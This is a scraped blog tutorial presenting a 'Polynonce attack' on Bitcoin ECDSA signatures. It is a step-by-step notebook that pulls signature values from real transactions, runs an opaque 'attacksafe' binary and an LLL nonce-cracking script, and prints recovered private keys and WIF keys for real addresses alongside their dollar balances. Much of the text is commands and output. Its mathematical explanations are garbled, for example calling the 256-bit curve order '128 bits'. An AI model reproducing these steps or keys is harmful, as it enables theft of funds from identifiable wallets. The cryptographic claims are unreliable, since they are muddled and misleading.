Polynonce-Attack

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Polynonce-Attack

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POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key

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# Polynonce Attack

---

* Tutorial: https://youtu.be/7nKs_KHtyn4
* Tutorial: https://cryptodeeptech.ru/polynonce-attack

---

In this article, we will again touch on the topic:&nbsp;<a href="https://cryptodeeptech.ru/blockchain-attack-vectors" target="_blank" rel="noreferrer noopener">“Bitcoin’s Critical Vulnerability”</a>&nbsp;and use the brand new attack of 2023&nbsp;<a href="https://cryptodeeptech.ru/polynonce-attack" target="_blank" rel="noreferrer noopener">“POLYNONCE ATTACK”</a>&nbsp;on all three examples .&nbsp;The very first mention of this attack is described in an article from&nbsp;<a href="https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/" target="_blank" rel="noreferrer noopener">“Kudelski Security”</a>&nbsp;.<a href="https://cryptodeeptech.ru/blockchain-attack-vectors" target="_blank" rel="noreferrer noopener"></a><a href="https://cryptodeeptech.ru/polynonce-attack" target="_blank" rel="noreferrer noopener"></a><a href="https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/" target="_blank" rel="noreferrer noopener"></a>

<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-159-1024x403.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-3043"><figcaption class="wp-element-caption"><a href="https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/" target="_blank" rel="noreferrer noopener"><code>https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/</code></a></figcaption></figure></div>

As a practical basis, we will take materials from our earlier article&nbsp;<a href="https://cryptodeeptech.ru/endomorphism" target="_blank" rel="noreferrer noopener">“&nbsp;Speed up secp256k1 with endomorphism”</a>&nbsp;where the values on the secp256k1 curve from&nbsp;<a href="https://en.wikipedia.org/wiki/Hal_Finney_(computer_scientist)" target="_blank" rel="noreferrer noopener">Hal Finney&nbsp;</a>&nbsp;&nbsp;<a href="https://cryptodeeptech.ru/endomorphism/" target="_blank" rel="noreferrer noopener">LAMBDA and BETA</a>&nbsp;hide the depth of uncertainty of Bitcoin elliptic curves.

<blockquote class="wp-block-quote">
We can reveal a lot<code>Binary number (4 digits):&nbsp;"1111"&nbsp;// Hex number:&nbsp;"F"&nbsp;//</code>
</blockquote>

<div class="wp-block-image">
<figure class="aligncenter is-resized"><img decoding="async" loading="lazy" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-143.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-2923" width="856" height="757"><figcaption class="wp-element-caption"><a href="https://www.rapidtables.com/convert/number/hex-to-binary.html" target="_blank" rel="noreferrer noopener"><code>https://www.rapidtables.com/convert/number/hex-to-binary.html</code></a></figcaption></figure></div>

We also know perfectly well the order of the&nbsp;<a href="https://cryptodeep.ru/endomorphism/" target="_blank" rel="noreferrer noopener">secp256k1</a>&nbsp;curve which consists of&nbsp;128 bits&nbsp;Binary number (4 digits):&nbsp;“1111”&nbsp;// Hex number:&nbsp;“F”&nbsp;//

<pre class="wp-block-code"><code>n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
</code></pre>

We see that the polynomial as a unit in the binary code of an arbitrarily high degree of 128 bits modulo
</blockquote>

<a href="https://cryptodeeptech.ru/endomorphism/" target="_blank" rel="noreferrer noopener"><code>Speed up secp256k1 with endomorphism</code></a>

<blockquote class="wp-block-quote">
Given this fact, the initial bit of the Bitcoin private key will be&nbsp;Binary number (4 digits):&nbsp;“1111”&nbsp;// Hex number:&nbsp;“F”&nbsp;//
</blockquote>

<h2 class="wp-block-heading has-text-align-center">For a theoretical basis, we will take materials:</h2>

<h2 class="wp-block-heading has-text-align-center"><a href="https://attacksafe.ru/polynonce-attack-on-bitcoin/" target="_blank" rel="noreferrer noopener">“Polynonce Attack on Bitcoin”</a></h2>

<div class="wp-block-image">
<figure class="aligncenter is-resized"><img decoding="async" loading="lazy" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-146.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-2940" width="871" height="1298"><figcaption class="wp-element-caption"><a href="https://attacksafe.ru/polynonce-attack-on-bitcoin" target="_blank" rel="noreferrer noopener"><code>https://attacksafe.ru/polynonce-attack-on-bitcoin</code></a></figcaption></figure></div>

<blockquote class="wp-block-quote">
Consider an example with a Bitcoin Address:
</blockquote>

<a href="https://btc1.trezor.io/address/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB" target="_blank" rel="noreferrer noopener">1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB</a>

<h2 class="wp-block-heading">RawTX</h2>

<pre class="wp-block-code"><code>02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000</code></pre>

<blockquote class="wp-block-quote">
Let’s go to the official website:&nbsp;&nbsp;<a href="https://colab.research.google.com/" target="_blank" rel="noreferrer noopener">https://colab.research.google.com</a>

<blockquote class="wp-block-quote">
<blockquote class="wp-block-quote">
Select the option&nbsp;&nbsp;“Upload notebook”
</blockquote>

Download the file:&nbsp;&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/POLYNONCE_ATTACK.ipynb" target="_blank" rel="noreferrer noopener">POLYNONCE_ATTACK.ipynb</a>
</blockquote>

Load&nbsp;<code>HEX</code>the -data through the utility&nbsp;<code>echo</code>&nbsp;and save it to a file:&nbsp;RawTX.txt
</blockquote>

<pre class="wp-block-code"><code>!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' &gt; RawTX.txt</code></pre>

To implement the attack, we will use the software

&nbsp;<a href="https://attacksafe.ru/software/" target="_blank" rel="noreferrer noopener">“ATTACKSAFE SOFTWARE”</a>

<div class="wp-block-image">
<figure class="aligncenter"><a href="https://attacksafe.ru/software/" target="_blank" rel="noreferrer noopener"><img decoding="async" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-14.png" alt="Implement Frey-Rück Attack to get the secret key &quot;K&quot; (NONCE)" class="wp-image-705"></a><figcaption class="wp-element-caption"><code>www.attacksafe.ru/software</code></figcaption></figure></div>

<h2 class="wp-block-heading">Access rights:</h2>

<pre class="wp-block-code"><code>!chmod +x attacksafe</code></pre>

<h2 class="wp-block-heading">Application:</h2>

<pre class="wp-block-code"><code>!./attacksafe -help</code></pre>

<pre class="wp-block-code"><code> -version: software version 
 -list: list of bitcoin attacks
 -tool: indicate the attack
 -gpu: enable gpu
 -time: work timeout
 -server: server mode
 -port: server port
 -open: open file
 -save: save file
 -search: vulnerability search
 -stop: stop at mode
 -max: maximum quantity in mode
 -min: minimum quantity per mode
 -speed: boost speed for mode
 -range: specific range
 -crack: crack mode
 -field: starting field
 -point: starting point
 -inject: injection regimen
 -decode: decoding mode</code></pre>

<pre class="wp-block-code"><code>!./attacksafe -version</code></pre>

<blockquote class="wp-block-quote">
<code>"ATTACKSAFE SOFTWARE"</code>&nbsp;includes all popular attacks on Bitcoin.
</blockquote>

<h2 class="wp-block-heading">Let’s run a list of all attacks:</h2>

<pre class="wp-block-code"><code>!./attacksafe -list</code></pre>

Let’s choose<code>&nbsp;-tool: polynonce_attack</code>

<blockquote class="wp-block-quote">
To get a specific&nbsp;<code>HEX</code>value&nbsp;<code>R,S,Z</code>for the signature&nbsp;<code>ECDSA</code>, we previously added data&nbsp;&nbsp;<code>RawTX</code>&nbsp;through the utility&nbsp;<code>echo</code>to a text document and saved it as a file&nbsp;<code>RawTX.txt</code>
</blockquote>

<h2 class="wp-block-heading">Launch&nbsp;&nbsp;<code>-tool polynonce_attack</code>&nbsp;using software&nbsp;<code>“ATTACKSAFE SOFTWARE”</code></h2>

<pre class="wp-block-code"><code>!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv</code></pre>

We launched this attack from&nbsp;&nbsp;<code>-tool polynonce_attack</code>&nbsp;and the result was saved to a file&nbsp;<code>SignatureRSZ.csv</code>

Now to see the successful result, open the file&nbsp;<code>SignatureRSZ.csv</code>

In order to calculate the private key to a Bitcoin Wallet from a file,&nbsp;&nbsp;<code>SignatureRSZ.csv</code>we will install&nbsp;<a href="https://cryptodeeptech.ru/install-sagemath-in-google-colab/" target="_blank" rel="noreferrer noopener">SageMath</a>

<blockquote class="wp-block-quote">
Earlier we published&nbsp;<a href="https://cryptodeeptech.ru/install-sagemath-in-google-colab/" target="_blank" rel="noreferrer noopener">an article</a>&nbsp;, download&nbsp;&nbsp;<code>tar-file</code>:&nbsp;&nbsp;<a href="https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2" target="_blank" rel="noreferrer noopener">sage-9.3-Ubuntu_20.04-x86_64.tar.bz2</a>
</blockquote>

<pre class="wp-block-code"><code>!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2</code></pre>

<blockquote class="wp-block-quote">
Let’s go through the directory:
</blockquote>

<pre class="wp-block-code"><code>cd SageMath/</code></pre>

<blockquote class="wp-block-quote">
Run&nbsp;&nbsp;relocate-once.py&nbsp;&nbsp;with the command:<code>Python-script:</code>&nbsp;
</blockquote>

<pre class="wp-block-code"><code>!python3 relocate-once.py</code></pre>

<blockquote class="wp-block-quote">
Move&nbsp;<code>"AttackSafe"</code>to&nbsp;<code>"SignatureRSZ.csv"</code>folder<code>"SageMath"</code>
</blockquote>

<pre class="wp-block-code"><code>!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'</code></pre>

<blockquote class="wp-block-quote">
Download the script&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py" target="_blank" rel="noreferrer noopener">crack_weak_ECDSA_nonces_with_LLL.py</a>&nbsp;from Dario Clavijo through the utility&nbsp;<code>wget</code>
</blockquote>

<pre class="wp-block-code"><code>!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py</code></pre>

<blockquote class="wp-block-quote">
Now let’s run&nbsp;&nbsp;<code>SageMath</code>&nbsp;the command:
</blockquote>

<blockquote class="wp-block-quote">
To calculate the private key to the Bitcoin Wallet, run the script&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py" target="_blank" rel="noreferrer noopener">crack_weak_ECDSA_nonces_with_LLL.py</a>&nbsp;specifying the parameters<code>128 bits 4 sign</code>
</blockquote>

<pre class="wp-block-code"><code>python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 &gt; PrivateKey.txt</code></pre>

<pre class="wp-block-code"><code>cat PrivateKey.txt</code></pre>

<blockquote class="wp-block-quote">
Let’s open the file:<code>PrivateKey.txt</code>
</blockquote>

We received the private key to the Bitcoin Wallet in&nbsp;<code>HEX</code>the format

<pre class="wp-block-code"><code>PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d</code></pre>

<h2 class="wp-block-heading">Check POLYNONCE for each ECDSA signature</h2>

<blockquote class="wp-block-quote">
To do this, use the code from&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py" target="_blank" rel="noreferrer noopener">GITHUB</a>
</blockquote>

<div class="wp-block-image">
<figure class="aligncenter is-resized"><img decoding="async" loading="lazy" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-150.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-2972" width="917" height="1234"><figcaption class="wp-element-caption"><a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py" target="_blank" rel="noreferrer noopener"><code>https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py</code></a></figcaption></figure></div>

<h2 class="wp-block-heading">Result:</h2>

<blockquote class="wp-block-quote">
We received four identical initial<code>128 bits</code>
</blockquote>

<pre class="wp-block-code"><code>POLYNONCE &gt;&gt; 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE &gt;&gt; 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE &gt;&gt; 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE &gt;&gt; 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe</code></pre>

Thanks to the value on the secp256k1 curve from&nbsp;&nbsp;<a href="https://en.wikipedia.org/wiki/Hal_Finney_(computer_scientist)" target="_blank" rel="noreferrer noopener">Hal Finney&nbsp;</a>&nbsp;&nbsp;<a href="https://cryptodeeptech.ru/endomorphism/" target="_blank" rel="noreferrer noopener">LAMBDA and BETA</a>&nbsp;revealed to us the same initial bits&nbsp;<code>128 bits</code>, since the initial bits of the private key to the Bitcoin Wallet begin with<code>Binary number (4 digits):&nbsp;</code><code>"1111"</code><code>&nbsp;// Hex number:&nbsp;</code><code>"F"</code><code>&nbsp;//</code>

<h2 class="wp-block-heading">Let’s check the HEX of the private key:</h2>

<blockquote class="wp-block-quote">
Install the module<code>bitcoin</code>
</blockquote>

<pre class="wp-block-code"><code>!pip3 install bitcoin</code></pre>

<pre class="wp-block-code"><code>from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()

outfile = open("PrivateKeyAddr.txt","w")
for x in content:
 outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()</code></pre>

<blockquote class="wp-block-quote">
Let’s open the file:<code>PrivateKeyAddr.txt</code>
</blockquote>

<figure class="wp-block-image"><img decoding="async" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-88.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-2801"><figcaption class="wp-element-caption"><code>f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB</code></figcaption></figure>

Let’s open&nbsp;&nbsp;<a href="https://cryptodeep.ru/bitaddress.html" target="_blank" rel="noreferrer noopener">bitaddress</a>&nbsp;&nbsp;and check:

<pre class="wp-block-code"><code>ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d</code></pre>

<a href="https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB">https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB</a>

<code>BALANCE: $ 3699.40</code>

<h2 class="wp-block-heading has-text-align-center">Let’s look at other examples:</h2>

<blockquote class="wp-block-quote">
Consider example #2 with a Bitcoin Address:
</blockquote>

<a href="https://btc1.trezor.io/address/137a6fqt13bhtAkGZWrgcGM98NLCotszR2" target="_blank" rel="noreferrer noopener">137a6fqt13bhtAkGZWrgcGM98NLCotszR2</a>

<h2 class="wp-block-heading">RawTX</h2>

<pre class="wp-block-code"><code>010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000</code></pre>

<blockquote class="wp-block-quote">
Let’s remove the files from the first example:
</blockquote>

<pre class="wp-block-code"><code>!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt</code></pre>

<blockquote class="wp-block-quote">
Load&nbsp;&nbsp;<code>HEX</code> the -data through the utility&nbsp;&nbsp;<code>echo</code>&nbsp;and save it to a file:&nbsp;&nbsp;RawTX.txt
</blockquote>

<pre class="wp-block-code"><code>!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' &gt; RawTX.txt
</code></pre>

<h2 class="wp-block-heading has-text-align-center">Launch&nbsp;&nbsp;<code>-tool polynonce_attack</code>&nbsp;using software&nbsp;<code>“ATTACKSAFE SOFTWARE”</code></h2>

<pre class="wp-block-code"><code>!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv</code></pre>

We launched this attack from&nbsp;&nbsp;<code>-tool polynonce_attack</code>&nbsp;and the result was saved to a file&nbsp;<code>SignatureRSZ.csv</code>

Now to see the successful result, open the file&nbsp;<code>SignatureRSZ.csv</code>

<blockquote class="wp-block-quote">
Let’s run&nbsp;&nbsp;<code>SageMath</code>&nbsp;the command:
</blockquote>

<blockquote class="wp-block-quote">
To calculate the private key to the Bitcoin Wallet, run the script&nbsp;&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py" target="_blank" rel="noreferrer noopener">crack_weak_ECDSA_nonces_with_LLL.py</a>&nbsp;&nbsp;specifying the parameters&nbsp;<code>128 bits 4 sign</code>
</blockquote>

<pre class="wp-block-code"><code>python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 &gt; PrivateKey.txt</code></pre>

<pre class="wp-block-code"><code>cat PrivateKey.txt</code></pre>

<blockquote class="wp-block-quote">
Let’s open the file:&nbsp;<code>PrivateKey.txt</code>
</blockquote>

We received the private key to the Bitcoin Wallet in&nbsp;&nbsp;<code>HEX</code>&nbsp;the format

<pre class="wp-block-code"><code>PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c</code></pre>

<h2 class="wp-block-heading">Check POLYNONCE for each ECDSA signature</h2>

<blockquote class="wp-block-quote">
To do this, use the code from&nbsp;<a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py" target="_blank" rel="noreferrer noopener">GITHUB</a>
</blockquote>

<div class="wp-block-image">
<figure class="aligncenter is-resized"><img decoding="async" loading="lazy" src="./POLYNONCE ATTACK we use BITCOIN signatures as a Polynomial to an arbitrarily high power of 128 bits to get a Private Key - CRYPTO DEEP TECH_files/image-152.png" alt="POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key" class="wp-image-2991" width="916" height="1250"><figcaption class="wp-element-caption"><code><a href="https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py" target="_blank" rel="noreferrer noopener">https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py</a></code></figcaption></figure></div>

<h2 class="wp-block-heading">Result:</h2>

<blockquote class="wp-block-quote">
We received four identical initial<code>128 bits</code>
</blockquote>

<pre class="wp-block-code"><code>POLYNONCE &gt;&gt; 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE &gt;&gt; 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE &gt;&gt; 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE &gt;&gt; 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7</code></pre>

<h2 class="wp-block-heading">Let’s check the HEX of the private key:</h2>

<pre class="wp-block-code"><code>from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()

outfile = open("PrivateKeyAddr.txt","w")
for x in content:
 outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()</code></pre>

<blockquote class="wp-block-quote">
Let’s open the file:&nbsp;<code>PrivateKeyAddr.txt</code>
</blockquote>

Let’s open&nbsp;&nbsp;<a href="https://cryptodeep.ru/bitaddress.html" target="_blank" rel="noreferrer noopener">bitaddress</a>&nbsp;&nbsp;and check:

<pre class="wp-block-code"><code>ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c</code></pre>

<a href="https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2">https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2</a>

<code>BALANCE: $ 1133.73</code>

<h2 class="wp-block-heading has-text-align-center">Let’s look at other examples:</h2>

<blockquote class="wp-block-quote">
Consider example #3 with a Bitcoin Address:
</blockquote>

<a href="https://btc1.trezor.io/address/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt" target="_blank" rel="noreferrer noopener">1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt</a>

<h2 class="wp-block-heading">RawTX</h2>

<pre class="wp-block-code"><code>01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000</code></pre>

<blockquote class="wp-block-quote">
Let’s remove the files from the second example:
</blockquote>

<pre class="wp-block-code"><code>!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt</code></pre>

<pre class="wp-block-code"><code>!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' &gt; RawTX.txt
</code></pre>